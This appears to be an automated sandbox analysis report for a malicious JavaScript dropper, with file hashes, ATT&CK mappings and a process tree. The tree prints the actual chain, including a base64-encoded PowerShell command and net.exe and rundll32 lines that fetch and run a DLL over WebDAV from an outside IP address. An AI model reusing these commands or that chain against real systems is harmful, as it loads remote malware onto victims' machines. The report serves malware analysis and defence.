ca3a8107b0c1ecf1a9f258e5b155a652e81710a2fa910bfd5ed31305a10ed06f

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/10/2024, 04:04

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General

Target

30380270752820223330.js
Size

179KB
MD5

4381a19f7cdefed07d6582d2ef4edea5
SHA1

31549df8207d845d31fe3617ef07c080c70b40b6
SHA256

ca3a8107b0c1ecf1a9f258e5b155a652e81710a2fa910bfd5ed31305a10ed06f
SHA512

626502bf3c8f03b4cdcb03725da6ea56d0d12becb15290e4b8845ec0cbd7dd4056532e47b5f24c202b87f2b84e4e1e025d7d0bee33c8ebcc04fde149adc8345b
SSDEEP

1536:+wTY3P30itez3m2h9jKRhosE0grz0pBf0Q19D/saVsosa0Qop8nynSX2osR0NhbW:1Y3PkipL4FeWoLVuSljog+

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4656	powershell.exe
4656	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4656	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 4656	4880	wscript.exe	84
PID 4880 wrote to memory of 4656	4880	wscript.exe	84
PID 4656 wrote to memory of 5064	4656	powershell.exe	86
PID 4656 wrote to memory of 5064	4656	powershell.exe	86
PID 4656 wrote to memory of 4532	4656	powershell.exe	87
PID 4656 wrote to memory of 4532	4656	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\30380270752820223330.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwANAA3ADYAMwAxADIANgAyADMAMQAwADkANQAyAC4AZABsAGwALABFAG4AdAByAHkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:5064
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\47631262310952.dll,Entry
    3⤵
    PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rl1nhdpx.gzj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4656-0-0x00007FF868443000-0x00007FF868445000-memory.dmp

Filesize
8KB

Download
memory/4656-1-0x00000226349B0000-0x00000226349D2000-memory.dmp

Filesize
136KB

Download
memory/4656-11-0x00007FF868440000-0x00007FF868F01000-memory.dmp

Filesize
10.8MB

Download
memory/4656-12-0x00007FF868440000-0x00007FF868F01000-memory.dmp

Filesize
10.8MB

Download
memory/4656-15-0x00007FF868440000-0x00007FF868F01000-memory.dmp

Filesize
10.8MB

Download